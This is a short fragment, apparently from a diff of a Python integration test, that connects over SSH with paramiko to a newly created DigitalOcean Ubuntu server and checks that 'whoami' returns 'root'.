client.set_missing_host_key_policy(paramiko.client.AutoAddPolicy) - client.connect(ubuntu.ip_address, username=digital_ocean.user, pkey=key) - - stdin, stdout, stderr = client.exec_command("whoami") - - assert stdout.read().strip().decode("utf-8") == "root"